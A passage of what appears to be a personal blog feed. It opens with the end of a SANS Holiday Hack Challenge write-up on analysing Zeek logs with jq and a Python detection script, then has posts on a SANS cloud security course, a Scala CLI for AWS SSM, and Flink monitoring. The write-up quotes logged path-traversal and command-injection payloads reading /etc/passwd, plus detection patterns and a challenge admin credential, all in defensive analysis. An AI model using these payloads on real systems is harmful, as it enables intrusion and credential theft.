I’m the Tooth Fairy, the mastermind behind the plot to destroy the holiday season. I hate how Santa is so beloved, but only works one day per year! He has all of the resources of the North Pole and the elves to help him too. I run a solo operation, toiling year-round collecting deciduous bicuspids and more from children. But I get nowhere near the gratitude that Santa gets. He needs to share his holiday resources with the rest of us! But, although you found me, you haven’t foiled my plot! Santa’s sleigh will NOT be able to find its way. I will get my revenge and respect! I want my own holiday, National Tooth Fairy Day, to be the most popular holiday on the calendar!!!

Not a very good sign, but all is not lost yet. You should turn to Wunorse Openslae for some hints on defeating the Tooth Fairy, however he has a technical task for you before that:

Wunorse Openslae here, just looking at some Zeek logs. I’m pretty sure one of these connections is a malicious C2 channel… Do you think you could take a look? I hear a lot of C2 channels have very long connection times. Please use jq to find the longest connection in this data set. We have to kick out any and all grinchy activity!

Next, you open the terminal and get to work:

Some JSON files can get quite busy.
There's lots to see and do.
Does C&C lurk in our data?
JQ's the tool for you!
-Wunorse Openslae
Identify the destination IP address with the longest connection duration
using the supplied Zeek logfile. Run runtoanswer to submit your answer.
elf@3222ffd89de4:~$ ls
conn.log
elf@3222ffd89de4:~$ cat conn.log | wc -l
143679
elf@3222ffd89de4:~$

As you can see, it is a rather large log file, so you should use JQ to parse it. Since you are interested in the IP that belongs to the connection with longest duration, you should extract that field, then pipe the output through some unix tools that can help you find the highest value. Next you should run JQ once more to find the IP that belongs to this highest duration:

elf@3222ffd89de4:~$ cat conn.log | jq ".duration" | uniq | sort -g | tail -n 1
1019365.337758
elf@3222ffd89de4:~$ cat conn.log | jq ". | select (.duration == 1019365.337758)"
{
"ts": "2019-04-18T21:27:45.402479Z",
"uid": "CmYAZn10sInxVD5WWd",
"id.orig_h": "192.168.52.132",
"id.orig_p": 8,
"id.resp_h": "13.107.21.200",
"id.resp_p": 0,
"proto": "icmp",
"duration": 1019365.337758,
"orig_bytes": 30781920,
"resp_bytes": 30382240,
"conn_state": "OTH",
"missed_bytes": 0,
"orig_pkts": 961935,
"orig_ip_bytes": 57716100,
"resp_pkts": 949445,
"resp_ip_bytes": 56966700
}

To submit the answer execute the runtoanswer command on the terminal:

elf@3222ffd89de4:~$ runtoanswer
Loading, please wait......
What is the destination IP address with the longes connection duration? 13.107.21.200
Thank you for your analysis, you are spot-on.
I would have been working on that until the early dawn.
Now that you know the features of jq,
You'll be able to answer other challenges too.
-Wunorse Openslae
Congratulations!

Fixing the weather

So now you can attack the final objective and you also get some encouraging words from the Krampus in the room:

But there’s still time! Solve the final challenge in your badge by blocking the bad IPs at srf.elfu.org and save the holiday season!

Go to link: SRF

However, you notice that the website needs credentials before you can access it. Luckily, you remember the Elfscrow objective and the pdf document you successfully recovered, in which there was some good clues for how this can be achieved:

Link to the readme file: here and the credentials inside:

#### Logging in:
You can login using the default admin pass:
'admin 924158F9522B3744F5FCD4D10FAC4356'

After logging in, you can scroll down to see the Firewall section, which is where you will need to enter the IP addresses which you think are malicious, based on your analysis.

Weed out the bad IPs!

In order to find the list of IP addresses (around 100 or so in total, as pointed out in the objective) you need to download the Zeek logs from here, and run your analysis on them. At this point it is worth to go back to Wunorse to see hear his hints for the analysis task:

That’s got to be the one - thanks! Hey, you know what? We’ve got a crisis here. You see, Santa’s flight route is planned by a complex set of machine learning algorithms which use available weather data. All the weather stations are reporting severe weather to Santa’s Sleigh. I think someone might be forging intentionally false weather data. I’m so flummoxed I can’t even remember how to login! Hmm… Maybe the Zeek http.log could help us. I worry about LFI, XSS, and SQLi in the Zeek log - oh my! And I’d be shocked if there weren’t some shell stuff in there too. I’ll bet if you pick through, you can find some naughty data from naughty hosts and block it in the firewall. If you find a log entry that definitely looks bad, try pivoting off other unusual attributes in that entry to find more bad IPs. The sleigh’s machine learning device (SRF) needs most of the malicious IPs blocked in order to calculate a good route. Try not to block many legitimate weather station IPs as that could also cause route calculation failure. Remember, when looking at JSON data, jq is the tool for you!

He provides some very useful hints about LFI, XSS, SQLi and Shell exploits. In order to try to uncover the IP addresses that originate such attacks, I wrote a custom python script, which parsed the Zeek logs looking for signs of such exploits. More specifically for each category of exploits I looked for:

SQLi > presence of ' in uri, username or user_agent fields

XSS > presence of < in uri or host fields

LFI > presence of /passw in uri field

Shell > presence of ':;' or '};' in user_agent field

As an example, if I did a quick and dirty search for LFI exploits via cat and JQ:

cat http.log | jq '.[] | .uri' | grep /passw
"/api/weather?station_id=\"/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/etc/passwd"
"/api/weather?station_id=../../../../../../../../../../bin/cat /etc/passwd\\\\x00|"
"/api/stations?station_id=|cat /etc/passwd|"
"/api/weather?station_id=;cat /etc/passwd"
"/password/"
"/api/login?id=cat /etc/passwd||"
"/api/weather?station_id=`/etc/passwd`"
"/api/weather?station_id=/../../../../../../../../../../../etc/passwd"
"/gtcatalog/password.inc"
"/gtcatalog/password.inc"
"/api/login?id=/../../../../../../../../../etc/passwd"
"/password-manager-master/beta/index.html"
"/api/weather?station_id=/../../../../../../../../etc/passwd"
"/api/weather?station_id=/etc/passwd"
"/files/passwd.txt"
"/scripts/files/passwd.txt"
"/guestbook/files/passwd.txt"
"/api/login?id=.|./.|./.|./.|./.|./.|./.|./.|./.|./.|./.|./.|./etc/passwd"

Quite easily this search revealed some requests trying to gain access to the passwd file. Next, I took the specified search criteria and implemented them in a python script.

ips_blacklist = set() # collection of IP addresses deemed to be malicious
# load the json into logs object
logs = json.load(open("http.log"))
# iterate over entries and filter based on identified markers of IoC
for log in logs:
if ("'" in log['uri'] or "'" in log['username'] or
"'" in log['user_agent'] or "<" in log['uri'] or
"<" in log['host'] or "pass" in log['uri'] or
":;" in log['uri'] or "};" in log['uri']):
ips_blacklist.add(log['id.orig_h'])
# print IP blacklist for copy pasting into SRF FW
print(",".join(ips_blacklist))

This script loops through the Zeek logs and collects IP_address and user_agent values that we deem malicious. At the end it prints the collected IP addresses in a comma-separated manner in one line, which you can copy paste into the Firewall input field on the SRF website, then click Deny and see if you found enough.

After pasting in the script output and clicking DENY in the SRF firewall, the calculation still failed, most likely because only about 80 or so IP addresses were found via the above script. That seems short of the 100 which was mentioned in the objective. I turn to the hints from Wunorse again and notice this sentence:

If you find a log entry that definitely looks bad, try pivoting off other unusual attributes in that entry to find more bad IPs.

As a next step I extended the script and pivoted by looking for additional malicious IP addresses based on known bad user_agent strings. The idea was to loop through the log again, and see if the current entry’s user_agent matches any of the known malicious user_agent values in our ua_blacklist.

ips_blacklist = set() # set of IPs found to be malicious
ua_blacklist = list() # list so that later on we can count items that are added multiple times
# ... code removed for brevity
# collect new malicious agents that match existing ones but not in ips_blacklist
for log in logs:
if log['user_agent'] in ua_blacklist and log['id.orig_h'] not in ips_blacklist:
ips_blacklist.add(log['id.orig_h'])
ua_blacklist.append(log['user_agent'])

This however provided way too many IP addresses, more than 200, so it needs to be reduced somehow. For this I decided to create a third list for whitelisting user_agents strings that are found often enough to signal that it may be benign. After fiddling around with the right threshold, I came to the conclusion that if the same user_agent string is found more than 9 times in the ua_blacklist, then it could be safely added to a whitelist.

The full python script can be found below and also in this Github repo. It prints out 110 IP addresses, which is more or less close to 100, and more importantly is an accepted solution on the SRF Firewall.

import json
ips_blacklist = set() # set of IPs found to be malicious
ua_blacklist = list() # list so that later on we can count items that are added multiple times
ua_whitelist = set() # set of user_agents that are found to be benign
# load the json into logs object
logs = json.load(open("http.log"))
# iterate over entries and filter based on identified markers of IoC
for log in logs:
if ("'" in log['uri'] or "'" in log['username'] or
"'" in log['user_agent'] or "<" in log['uri'] or
"<" in log['host'] or "pass" in log['uri'] or
":;" in log['uri'] or "};" in log['uri']):
ips_blacklist.add(log['id.orig_h'])
ua_blacklist.append(log['user_agent'])
# collect new malicious agents that match existing ones but not in ips_blacklist
for log in logs:
if log['user_agent'] in ua_blacklist and log['id.orig_h'] not in ips_blacklist:
ua_blacklist.append(log['user_agent'])
# identifiy agents that are found more than 9 times > those should be benign and can be whitelisted
ua_blacklist_counts = { x : ua_blacklist.count(x) for x in ua_blacklist }
for i in ua_blacklist_counts:
if ua_blacklist_counts[i] >= 9:
ua_whitelist.add(i)
# identify additional IPs that are in ua_blacklist and not in ua_whitelist
for log in logs:
if log['user_agent'] in ua_blacklist and log['user_agent'] not in ua_whitelist and log['id.orig_h'] not in ips_blacklist :
ips_blacklist.add(log['id.orig_h'])
# print out comma separated string for pastin into srf.elfu.org firewall for DENY
print(",".join(ips_blacklist))

Output list of IP addresses that are most likely poisoning the weather API:

229.133.163.235,132.45.187.177,65.153.114.120,22.34.153.164,187.152.203.243,231.179.108.238,220.132.33.81,52.39.201.107,87.195.80.126,118.26.57.38,194.143.151.224,111.81.145.191,42.103.246.250,150.45.133.97,1.185.21.112,79.198.89.109,45.239.232.245,249.90.116.138,250.22.86.40,169.242.54.5,253.65.40.39,34.129.179.28,66.116.147.181,121.7.186.163,44.164.136.41,150.50.77.238,106.93.213.219,81.14.204.154,2.240.116.254,50.154.111.0,92.213.148.0,0.216.249.31,29.0.183.220,53.160.218.44,254.140.181.172,140.60.154.239,102.143.16.184,13.39.153.254,83.0.8.119,34.155.174.167,118.196.230.170,135.203.243.43,49.161.8.58,25.80.197.172,126.102.12.53,2.230.60.70,69.221.145.150,131.186.145.73,84.185.44.166,238.143.78.114,168.66.108.62,27.88.56.114,19.235.69.221,42.127.244.30,37.216.249.50,97.220.93.190,211.229.3.254,80.244.147.207,193.228.194.36,226.102.56.13,33.132.98.193,227.110.45.126,61.110.82.125,230.246.50.221,28.169.41.122,158.171.84.209,75.73.228.192,203.68.29.5,226.240.188.154,249.237.77.152,173.37.160.150,180.57.20.247,42.103.246.130,103.235.93.133,68.115.251.76,9.206.212.33,75.215.214.65,186.28.46.179,187.178.169.123,142.128.135.10,42.191.112.181,148.146.134.52,84.147.231.129,95.166.116.45,123.127.233.97,31.116.232.143,229.229.189.246,44.74.106.131,135.32.99.116,217.132.156.225,42.16.149.112,223.149.180.133,252.122.243.212,249.34.9.16,185.19.7.133,116.116.98.205,250.51.219.47,106.132.195.153,10.155.246.29,56.5.47.137,104.179.109.113,23.49.177.78,48.66.193.176,225.191.220.138,10.122.158.57,253.182.102.55,200.75.228.240,190.245.228.38,233.74.78.199,129.121.121.48

Once you submit this string and hit Deny, the calculator will start running and provide you with the RID that you need to submit for solving the final Objective.

RID: 0807198508261964

The Bell Tower

Once you submit the RID through your personal badge, you get access to The Bell Tower through the door that just opened in the Sleigh Shop. Go up and talk to the fellas for finishing this once and for all!

Santa seems quite grateful and happy:

You did it! Thank you! You uncovered the sinister plot to destroy the holiday season! Through your diligent efforts, we’ve brought the Tooth Fairy to justice and saved the holidays! Ho Ho Ho! The more I laugh, the more I fill with glee. And the more the glee, The more I’m a merrier me! Merry Christmas and Happy Holidays.

Next you get some good news from Krampus:

Congratulations on a job well done! Oh, by the way, I won the Frido Sleigh contest. I got 31.8% of the prizes, though I’ll have to figure that out.

Let’s hope he will share with others, his lifetime supply of cookiez… :) However, quite understandably, The Tooth Fairy is not as jolly as the Krampus:

You foiled my dastardly plan! I’m ruined! And I would have gotten away with it too, if it weren’t for you meddling kids!

Whats more, there is a suspicious note in the corner which seems to suggest we probably cannot rest for too long, before the villains return and try to ruin the holiday once again…

Cloud Security Automation

Thu, 26 Nov 2020 11:11:00 +0000

In November 2020 I was lucky to have had the chance to take part in my 2nd SANS course of the year: SEC540 - Cloud Security and DevOps Automation - as part of the SANS Amsterdam. Unlike the first one, this was conducted in a remote-only format that they call LiveOnline. I liked it so much that I wanted to share it. If interested, you can read more about my experience of SEC530 - Defensible Security Architecture - in this post which was an on-site/in-person course as part of the SANS Prague in March 2020.

Pre-Course

About a week before the course was set to begin, I received the Course Booklets via UPS delivery. It was a bit surprising that they did not send an email with the tracking ID, so I was caught off-guard when I was told I needed to pick it up in a nearby UPS affiliate shop. Nevertheless, it was quite fast and efficient, so there were no issues there.

Since this was a LiveOnline course, I needed to download a few things from my SANS account in advance, that normally would be distributed on USB sticks at the start of an in-person course. Luckily they send numerous email reminders about this, and there are also great instructions available online, such as THIS document.

The most important item to download was of course the course VM for the Lab Exercises. For this course, it was a 9 GB iso file which had the compressed VMWare virtual machine image in it. This VM required quite substantial resources, so I felt lucky to have a work laptop that has 32 GB RAM with an 8 core Intel i9 CPU and 1 TB of SSD storage. The RAM was especially critical for the VM, it needed at least 12 GB, but I gave it 16 just to be sure. For students whose machine was no powerful enough they had an AMI image in AWS with a Cloudformation template to set it up quickly.

In addition, we needed to download and set up Slack for chat support during the course and GoToTraining for the actual streaming of the course content. I found that for whatever reason the GoToTraining session was spiking my laptop’s CPU usage to a point that it was almost overheating, so I decided to use my Table for the course streaming, which worked quite well.

Last but not least, I also downloaded the course booklets in pdf format, however they were heavily protected with watermarks and a complex password. Copy-pasting was also disabled. It would have been nice if I could open the pdfs on my tablet and use my pencil to write on it, but since I also had the printed booklets this was a minor annoyance.

Course Content

The first day started with an introduction to the principles of DevOps and how Security can be integrated into CI/CD pipelines. In between the topics, we were getting familiar with the student VM which is home to the Lab Exercises. I have to admit that at first I was quite overwhelmed by the complex setup that’s shipped in this single VM image. There were a surprising number of services running in docker containers behind the scenes, such as Jenkins, GitLab and Hashicorp Vault.

As part of the day 1 labs we practiced the deployment of a web service using Jenkins. We also implemented improved security via pre-commit scanning and Security Analysis (SAST/DAST) as part of the CI/CD pipeline. The next day we set up the environment that paved our journey to the cloud (AWS) relying on concepts such as Infrastructure-as-Code ( Cloudformation) and Configuration Management ( Puppet). On day 3 we embarked on a journey to harden our cloud infrastructure with tools that can do Security Scanning and Continuous Monitoring and Alerting ( Grafana & CloudWatch). We also looked into secrets management best practices on-premise and in the cloud via Hashicorp Vault. On day 4 we fixed some vulnerabilities in our web service using a blue/green deployment setup to minimize downtime. We also looked into protecting microservice APIs using serverless functions that aim to manage authorization and access control. On the final day we looked into certain concepts related to compliance in cloud environments and explored technologies such as AWS WAF, CloudMapper and Cloud Custodian.

I have to admit that the lab environment that’s set up in the Student VM was pretty impressive to me. There were so many moving parts to it, yet everything worked more or less seamlessly. The built-in Wiki always provided detailed instructions with copy-paste support to allow you to work through each lab even if you were unfamiliar with the technology. If you were stuck you could get help very quickly from the Teaching Assistant, or the Instructor as well. Overall they did an excellent job over the 5 days of the course.

NetWars

This post would not be complete without mention of the NetWars arena which I was very keen to take part in. During #SEC530 in March 2020, the NetWars arena was open only on Day 6 when we competed against each other in teams. Thanks to this course, I was invited to several free NetWars events afterwards, such as Core NetWars and the Mini NetWars Missions 1-2-3-4.

I am quite certain that these free NetWars sessions helped me immensely to hone my CTF skillz, that would come in handy during #SEC540 where I had 4 full days to compete. I jumped to the front of the leader board already after the first night, as I stayed up until 3 am working on the NetWars questions. This was a bit reckless as I was a bit tired the day after, so my focus on the course material was not the best, but a few rounds of coffee helped with that.

In the end I managed to keep my position on the top of the leaderboard which made me feel really proud as I’ve worked really long and hard during the whole week. I even managed to solve some of the more advanced 1337 challenges that had no hints, just a description of what was required and we were free to improvise the solution.

Two months later my 2nd NetWars coin has finally arrived by post 🤩

Conclusions

Initially I was quite hesitant about attending SEC540 in the LiveOnline format as I was not sure if it would work well. In the end I was left with only positive feelings about it. The course content was excellent. The delivery was smooth and help was always available through the Slack channel. If someone wants to learn about DevOps, Cloud and Security, I highly recommend this SANS course!

P.S.

On the 1st of February, 2.5 months after my class I successfully passed the GIAC exam and became GCSA certified! 🎉

My first scala app

Sat, 10 Oct 2020 11:11:00 +0000

Motivation

In this post I wanted to write about a personal project I started some time ago, with the goal of learning more about Scala. At work, we use Scala quite often to run big data jobs on AWS using Apache Spark. I’ve never used Scala before I joined my current team, and its syntax was very alien to me. However, recently I had the chance to work on a task, where I had to modify a component to use AWS Secrets Manager instead of HashiCorp’s Vault for fetching some secret value at runtime. To my surprise I could complete this work without much struggle with Scala, and afterwards I became eager to learn more. Based on a colleague’s recommendation I started reading a book from Cay S. Horstmann titled Scala for the impatient (2nd edition). I’m making slow but steady progress.

Shortly after starting with the book, I had the idea to start a small project so that I can practice Scala by doing.

The Idea

The idea, like many others before, came while fixing a bug at work. The bug was found within a component written in Scala to interact with the AWS Athena service. It had some neatly written functionality for making queries and waiting for their completion before trying to fetch the results. I thought I would try to write something similar for AWS Systems Manager (SSM). It is a service with few different components, so I decided to focus on Automation Documents that can carry out actions in an automated fashion. For example, the AWS provided SSM document AWS-StartEC2Instance can run any EC2 instance when invoked with the below 2 input parameters:

InstanceId: to specify which EC2 instance you want to start
AutomationAssumeRole: to specify an IAM role which can be assumed by SSM to carry out this action

I realized quite early on, that if I wanted to implement this capability in my Scala app, it needed to be quite generic, so that it could support any Automation Document with an arbitrary number of input parameters. I also wanted it to be able to wait for the execution and report whether it failed or succeeded. Here are the final requirements I came up with:

create 2 separate git repos for:
- a module that’s home for the AWS utility/helper classes
- a module for implementing the CLI App
support extra AWS services such as KMS, Secrets Manager and CloudFormation
utilize localstack for integration testing (when possible)

Initial setup

Firstly, I had to figure out which third-party packages I needed to implement the app according to these simple requirements. To interact with AWS from Scala code, I decided to go with v2 of the official Java SDK for AWS. To implement the CLI app I mainly relied on the picocli Java package, which was a bit less straightforward, but eventually it proved to be a good choice.

Secondly, I have to admit that creating a re-usable scala package from scratch was a rather non-trivial task for me. Most of my programming experience comes from working with in non-JVM based environments so that’s probably no surprise. I initially started out with sbt for build & dependency management, but I was running into issues that I couldn’t solve on my own, so I decided to swap it with maven which was a bit more familiar to me.

Finally, separating the project into two distinct git repositories allowed me to practice versioning and dependency management which I also found very useful:

AWS Scala Utils: https://github.com/florianakos/aws-utils-scala
AWS SSM CLI App: https://github.com/florianakos/aws-ssm-scala-app

The utils module

Creating the utils module that would serve as a kind of glue between the scala CLI app and AWS Systems Manager was actually not as difficult as I thought. This is mostly thanks to the example I’ve seen at work for a similar project with the AWS Athena service.

The core functionality of the utils module when it comes to SSM, is captured in the below functions:

private def executeAutomation(documentName: String, parameters: java.util.Map[String,java.util.List[String]]): Future[String] = {
val startAutomationRequest = StartAutomationExecutionRequest.builder()
.documentName(documentName)
.parameters(parameters)
.build()
Future {
val executionResponse = ssmClient.startAutomationExecution(startAutomationRequest)
logger.info(s"Execution id: ${executionResponse.automationExecutionId()}")
executionResponse.automationExecutionId()
}
}
private def waitForAutomationToFinish(executionId: String): Future[String] = {
val getExecutionRequest = GetAutomationExecutionRequest.builder().automationExecutionId(executionId).build()
var status = AutomationExecutionStatus.IN_PROGRESS
Future {
var retries = 0
while (status != AutomationExecutionStatus.SUCCESS) {
val automationExecutionResponse = ssmClient.getAutomationExecution(getExecutionRequest)
status = automationExecutionResponse.automationExecution.automationExecutionStatus()
status match {
case AutomationExecutionStatus.CANCELLED | AutomationExecutionStatus.FAILED | AutomationExecutionStatus.TIMED_OUT =>
throw SsmAutomationExecutionException(status, automationExecutionResponse.automationExecution.failureMessage)
case AutomationExecutionStatus.SUCCESS =>
logger.info(s"Query finished with status: $status")
case status: AutomationExecutionStatus =>
logger.info(s"SSM Automation execution status: $status, check #$retries.")
Thread.sleep(if (retries <= 3) 2500 else if (retries <= 10) 5000 else 15000)
}
retries += 1
}
}.map(_ => executionId)
}

The first one executeAutomation crafts an execution request and then submits it to AWS, returning its execution ID. This ID can be passed to the waitForAutomationToFinish function that periodically checks in with AWS until the execution is complete. Between subsequent API requests it uses an increasing timeout to prevent API rate-limiting caused by excessive polling.

Testing the utils module

Once I had the core functionality ready I wanted to write integration tests to ensure it works as expected. Instead of having hard-coded AWS credentials or an AWS profile for a real account I wanted to use Localstack that mocks the real AWS API so that you can interact with it. For this reason I slightly tweaked the SsmAutomationHelper class to accept an Optional second argument which can be used while building the SSM API client:

class SsmAutomationHelper(profile: String, apiEndpoint: Option[String]) extends LazyLogging {
private val ssmClient = apiEndpoint match {
case None => SsmClient.builder()
.credentialsProvider(ProfileCredentialsProvider.create(profile))
.region(Region.EU_WEST_1)
.build()
case Some(localstackEndpoint) => SsmClient.builder()
.credentialsProvider(StaticCredentialsProvider.create(AwsBasicCredentials.create("foo", "bar")))
.endpointOverride(URI.create(localstackEndpoint))
.build()
}
}

This allowed me to pass http://localhost:4566 when running the integration tests against localstack and have the API calls directed to those mocked endpoints. Previously each mocked service had its own dedicated port, but thanks to a recent change in localstack, now all AWS services can be run on a single port, they call EDGE port.

According to the documentation, SSM is supported in localstack, however I’ve found out that running Automation Documents is feature that is still missing. As a result, I had to run the integration tests against a real AWS account that I set up for such scenarios. I was okay with doing this since there are plenty of built-in Automation Documents provided by AWS that I could safely use for this purpose.

Eventually I decided to encode in the tests AWS-StartEC2Instance & AWS-StopEC2Instance which only required me to set up a dummy EC2 instance which would be the target of these requests. I also added a special Tag to these integration tests so that they are excluded from running when invoked via mvn test but still available to run manually whenever necessary.

CLI App implementation

After running the tests, I was confident that the AWS utils worked correctly, so I started putting together the CLI app. For this, I’ve searched on the web for a third party package and found that it’s not as simple as it is when using Python’s argparse package. I eventually settled with picocli, which is written in Java but can also be used from Scala via the below annotations:

@Command(name = "SsmHelper", version = Array("v0.0.1"), mixinStandardHelpOptions = true, description = Array("CLI app for running automation documents in AWS SSM"))
class SsmCliParser extends Callable[Unit] with LazyLogging {
@Option(names = Array("-D", "--document"), description = Array("Name of the SSM Automation document to execute"))
private var documentName = new String
@Parameters(index = "0..*", arity = "0..*", paramLabel = "<param1=val1> <param2=val2> ...", description = Array("Key=Value parameters to use as Input Params"))
private val parameters: util.ArrayList[String] = null
[...]

According to the original idea, there had to be one constant CLI flag which controlled the name of the AWS Automation Document (--document) and then there had to be a variable number of additional arguments for specifying the Input Parameters required by the given document. The picocli package supported this workflow via the @Option and the @Parameters annotations.

The only thing left was a custom function that would carry out the needed transformation of Input Parameters. The values received in the parameters were in the form of an ArrayList: [<param1=val1>, <param2=val2>, ...] which had to be transformed into a Map: [param1 -> [val1], param2 -> [val2]] by splitting each String on the = character. The desired format was a requirement of the AWS SDK for SSM. After some iterations I ended up with the below function that could do this transformation:

private def process(params: util.ArrayList[String]): util.Map[String, util.List[String]] = {
params.asScala
.map(_.split('='))
.collect { case Array(key, value) => key -> value }
.groupBy(_._1)
.mapValues(_.map(_._2).asJava).asJava
}

Finally, I constructed the below method which utilized the SsmAutomationHelper class from the utils module and passed the two variables provided by picocli to it so it would invoke the necessary Automation Document and wait to retrieve its result via the Await mechanism of Scala:

def call(): Unit = {
val conf = ConfigFactory.load()
val inputParams = process(parameters)
Await.result(SsmAutomationHelper.newInstance(conf).runDocumentWithParameters(documentName, inputParams), 10.minutes)
}

Packaging the CLI app

At this point I was ready with the CLI app and wanted to run it to see how it would function. Before I could run it, I needed to figure out how to package it all into a fat JAR file with all needed dependencies, so that it could be invoked with CLI arguments. I googled around a bit and quickly found the spring-boot-maven-plugin which has the repackage goal that’s just what I needed:

Repackages existing JAR and WAR archives so that they can be executed from the command line using java -jar. With layout=NONE can also be used simply to package a JAR with nested dependencies (and no main class, so not executable).

I only had to add the below lines to my project’s pom.xml:

<plugin>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-maven-plugin</artifactId>
<version>2.3.2.RELEASE</version>
<configuration>
<layout>JAR</layout>
</configuration>
<executions>
<execution>
<goals>
<goal>repackage</goal>
</goals>
</execution>
</executions>
</plugin>

Next I just had to run the mvn package command, which invokes the plugin to builds the fat JAR.

Running the CLI app

Once the JAR is available, it can be used via the java -jar ... command with extra arguments to run the any Automation Document such as AWS-StartEC2Instance:

$ ▶ java -jar ./target/scala-cli-app-1.0.0.jar --document=AWS-StartEC2Instance InstanceId=i-0ed4574c5ba94c877 AutomationAssumeRole=arn:aws:iam::{{global:ACCOUNT_ID}}:role/AutomationServiceRole
15:24:41.998 [main] INFO c.f.utils.ssm.SsmAutomationHelper :: Going to kick off SSM orchestration document: AWS-StartEC2Instance
15:24:42.773 [ForkJoinPool-1-worker-29] INFO c.f.utils.ssm.SsmAutomationHelper :: Execution id: <...>
15:24:42.882 [ForkJoinPool-1-worker-11] INFO c.f.utils.ssm.SsmAutomationHelper :: Current status: [InProgress], retry counter: #0
[...]
15:28:01.226 [ForkJoinPool-1-worker-11] INFO c.f.utils.ssm.SsmAutomationHelper :: Current status: [InProgress], retry counter: #21
15:28:16.442 [ForkJoinPool-1-worker-11] INFO c.f.utils.ssm.SsmAutomationHelper :: Execution finished with final status: [Success]
15:28:16.444 [main] INFO com.flrnks.app.SsmCliParser :: SSM execution run took 215 seconds

Seems to be working quite well!

Bonus: running in a container

I thought I would take the above one step further and package the JAR into a java based docker container. This would allow me to forget about the syntax of the java command that I previously used to run the app. Instead, I can hide it in a very minimal Dockerfile:

FROM openjdk:8-jdk-alpine
MAINTAINER flrnks <flrnks@flrnks.netlify.com>
ADD target/scala-cli-app-1.0.0.jar /usr/share/backend/app.jar
ENTRYPOINT [ "/usr/bin/java", "-jar", "/usr/share/backend/app.jar"]

The mvn package command which is used to build the fat JAR will save it into the /target subdirectory, so one can put this Dockerfile into the project’s root and then manually build the docker image by running docker build -t ssmcli .. This will create an image called ssmcli without issues, however I’ve found an awesome plugin called dockerfile-maven-plugin built by Spotify which can automagically take this Dockerfile and turn it into an image based on the plugin configuration:

<plugin>
<groupId>com.spotify</groupId>
<artifactId>dockerfile-maven-plugin</artifactId>
<version>1.4.10</version>
<executions>
<execution>
<id>default</id>
<goals>
<goal>build</goal>
</goals>
<configuration>
<repository>flrnks/ssmcli</repository>
<tag>latest</tag>
</configuration>
</execution>
</executions>
</plugin>

This plugin hooks into the mvn package goal and when it’s executed it will automatically create the docker image:

[INFO] --- spring-boot-maven-plugin:2.3.2.RELEASE:repackage (default) @ scala-cli-app ---
[INFO] Layout: JAR
[INFO] Replacing main artifact with repackaged archive
[INFO]
[INFO] --- dockerfile-maven-plugin:1.4.10:build (default) @ scala-cli-app ---
[INFO] dockerfile: null
[INFO] contextDirectory: /Users/flszabo/Desktop/personal-wrkspc/scala/scala-cli-app
[INFO] Building Docker context /Users/flszabo/Desktop/personal-wrkspc/scala/scala-cli-app
[INFO] Path(dockerfile): null
[INFO] Path(contextDirectory): /Users/flszabo/Desktop/personal-wrkspc/scala/scala-cli-app
[INFO]
[INFO] Image will be built as flrnks/ssmcli:latest
[INFO] Step 1/4 : FROM openjdk:8-jdk-alpine
[INFO] Pulling from library/openjdk
[INFO] Digest: sha256:94792824df2df33402f201713f932b58cb9de94a0cd524164a0f2283343547b3
[INFO] Status: Image is up to date for openjdk:8-jdk-alpine
[INFO] ---> a3562aa0b991
[INFO] Step 2/4 : MAINTAINER flrnks <flrnks@flrnks.netlify.com>
[INFO] ---> Using cache
[INFO] ---> efcc673b4f35
[INFO] Step 3/4 : ADD target/scala-cli-app-1.0.0.jar /usr/share/backend/app.jar
[INFO] ---> 8b2cf76f03c2
[INFO] Step 4/4 : ENTRYPOINT [ "/usr/bin/java", "-jar", "/usr/share/backend/app.jar"]
[INFO] ---> Running in c9633237f9fa
[INFO] Removing intermediate container c9633237f9fa
[INFO] ---> 6db69aa30fb1
[INFO] Successfully built 6db69aa30fb1
[INFO] Successfully tagged flrnks/ssmcli:latest

To test this new docker image I ran the AWS-StopEC2Instance Automation Document and specified the same CLI arguments as before, thanks to the ENTRYPOINT configuration in the Dockerfile. As an extra step I needed to share the AWS profile with the docker container at runtime by using the flag -v ~/.aws:/root/.aws:

$ ▶ ddocker run --rm -v ~/.aws:/root/.aws flrnks/ssmcli --document=AWS-StopEC2Instance InstanceId=i-0ed4574c5ba94c877 AutomationAssumeRole=arn:aws:iam::{{global:ACCOUNT_ID}}:role/AutomationServiceRole
17:18:59.541 [main] INFO c.f.utils.ssm.SsmAutomationHelper :: Going to kick off SSM orchestration document: AWS-StopEC2Instance
17:19:00.789 [ForkJoinPool-1-worker-13] INFO c.f.utils.ssm.SsmAutomationHelper :: Execution id: <...>
17:19:00.966 [ForkJoinPool-1-worker-11] INFO c.f.utils.ssm.SsmAutomationHelper :: Current status: [InProgress], retry counter: #0
17:19:03.564 [ForkJoinPool-1-worker-11] INFO c.f.utils.ssm.SsmAutomationHelper :: Execution finished with final status: [Success]
17:19:03.568 [main] INFO com.flrnks.app.SsmCliParser :: SSM execution run took 5 seconds

One may say that typing that long docker run ... command above takes longer than typing java -jar ./target/scala-cli-app-1.0.0.jar ... but I would argue that running it inside a docker container has its valid use-cases as well. It allows for controlled setup of the runtime environment and prevents dependency issues too!

Conclusion

This project has allowed me to learn much more than I initially expected. I learnt a lot about Scala, which was the original goal, but I also gained valuable experience with Maven, its plugin ecosystem and of course with Java as well. I hope whoever reads this post will find something useful in it too!

Monitoring Flink on AWS EMR

Sun, 16 Aug 2020 11:11:00 +0000

Brief intro

This is going to be a somewhat unusual post on this blog. It is about a problem I recently encountered while trying to improve the monitoring of a long-running Flink cluster we have on AWS EMR, following the official documentation from Datadog.

The EMR setup

Our EMR cluster consumes 4 Kinesis Data Streams which are used to send s3 files in AVRO format for processing. When a new file arrives, the Flink job will fetch it from S3, do some validation and filtering and then convert it to ORC format and save it to a new location on s3. In early June we experienced a failure in one of the Flink jobs consuming a production stream. Sadly we did not have adequate monitoring set up to detect this on time. We only learnt about it when we noticed that data in the output bucket was missing for certain dates. Our streams were configured with the maximum retention period of 7 days. By the time we noticed the missing data in the stream was already piling up, and the oldest was close to half of this retention period. By the time we managed to find the root cause and deploy the fix to the Flink job, it was too late, and some data had already expired from the stream.

The existing monitoring solution was implemented via AWS Lambda functions running every 8 hours. These functions were making Athena queries to check if any data arrived to the S3 bucket during the last 48 hours. The problem with this was approach was that we do not get alerts about missing data for up to 2 days because of the way our query used a sliding window of 2 days.

